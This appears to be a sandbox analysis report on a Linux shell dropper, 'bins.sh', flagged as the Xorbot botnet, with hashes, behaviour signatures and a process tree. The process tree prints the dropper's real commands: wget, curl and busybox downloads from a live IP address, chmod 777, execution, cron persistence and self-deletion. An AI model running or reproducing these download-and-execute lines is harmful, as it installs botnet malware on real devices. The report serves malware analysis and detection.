Analysis
-
max time kernel
149s -
max time network
153s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
05/12/2024, 06:25
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
d46a3232f2d9e39c42e2378e3b9ee5f6
-
SHA1
1c15292de404d15bfb04ffd8af708533296f3d87
-
SHA256
273e3c9752c4ac7d7525722250b775dc812f042fb3f98d007663ca7f6e374f95
-
SHA512
d6c231f3e22e63ecb5b7e3e9e3b124499280bc190ed2fc49b52e4ded2562482f761eb2ca23ca3e7e21cef55306de30948802b94cbd460696c973d3656aa8ef15
-
SSDEEP
192:xiE2+Yb3TjllJkOq6v3XJZJeyWQpFXGOq6v3lJZJeyzlgd2+Yb3Ty:xipllGQpFllgr
Malware Config
Signatures
-
resource yara_rule behavioral2/files/fstream-8.dat family_xorbot -
Xorbot family
-
Contacts a large (1787) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 690 chmod 791 chmod 822 chmod 858 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB 691 zZM090BtLw96clc18K3325Bi3InWJUorwB /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG 793 ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9 837 OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9 /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX 861 Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX -
Renames itself 1 IoCs
pid Process 692 zZM090BtLw96clc18K3325Bi3InWJUorwB -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.WtUYtk crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/719/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/775/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/904/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/917/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/919/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/995/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/24/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/984/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1008/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1022/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1024/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/702/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/725/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/727/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/751/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/771/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/824/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/839/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/915/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/169/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1090/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1099/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1106/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/920/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/852/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/982/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1073/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1092/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1109/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/786/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/712/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/900/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/946/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/955/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1001/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1054/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/707/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/10/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/16/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/723/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/788/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/816/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/908/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1038/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1097/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/411/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/732/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/776/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/860/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/890/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/939/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1023/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1075/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1077/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/1056/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/307/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/699/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/724/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/749/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/759/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/785/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB File opened for reading /proc/797/cmdline zZM090BtLw96clc18K3325Bi3InWJUorwB -
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9 busybox File opened for modification /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX busybox File opened for modification /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB wget File opened for modification /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB curl File opened for modification /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB busybox File opened for modification /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:658
-
/bin/rm/bin/rm bins.sh2⤵PID:660
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB2⤵
- Writes file to tmp directory
PID:665
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:681
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB2⤵
- Writes file to tmp directory
PID:688
-
-
/bin/chmodchmod 777 zZM090BtLw96clc18K3325Bi3InWJUorwB2⤵
- File and Directory Permissions Modification
PID:690
-
-
/tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB./zZM090BtLw96clc18K3325Bi3InWJUorwB2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:691 -
/bin/shsh -c "crontab -l"3⤵PID:693
-
/usr/bin/crontabcrontab -l4⤵PID:694
-
-
-
/bin/shsh -c "crontab -"3⤵PID:695
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:696
-
-
-
-
/bin/rmrm zZM090BtLw96clc18K3325Bi3InWJUorwB2⤵PID:698
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG2⤵PID:701
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG2⤵PID:702
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG2⤵
- Writes file to tmp directory
PID:783
-
-
/bin/chmodchmod 777 ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG2⤵
- File and Directory Permissions Modification
PID:791
-
-
/tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG./ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG2⤵
- Executes dropped EXE
PID:793
-
-
/bin/rmrm ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG2⤵PID:796
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c92⤵PID:798
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c92⤵PID:802
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c92⤵
- Writes file to tmp directory
PID:806
-
-
/bin/chmodchmod 777 OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c92⤵
- File and Directory Permissions Modification
PID:822
-
-
/tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9./OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c92⤵
- Executes dropped EXE
PID:837
-
-
/bin/rmrm OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c92⤵PID:840
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX2⤵PID:843
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX2⤵PID:846
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX2⤵
- Writes file to tmp directory
PID:850
-
-
/bin/chmodchmod 777 Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX2⤵
- File and Directory Permissions Modification
PID:858
-
-
/tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX./Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX2⤵
- Executes dropped EXE
PID:861
-
-
/bin/rmrm Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX2⤵PID:863
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS2⤵PID:873
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
-
Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
-
Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
-
Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
-
Filesize
210B
MD57121a7508a7552f81a799c67ee0a6a69
SHA12f9967b0f33d970bda75152af1d7885a2d9a47d8
SHA25643870169156f83dcbc5360fd561a98e2408be72f8c47738de91b2805260536f8
SHA512d1b82b09c9d04350692773919f8318a63f7cb58120226f6a0062ca6d7e23a7565bd1d710fbd62d6728f6bd5254b22f114fdc233b475b62e81ea55afc6ba036b8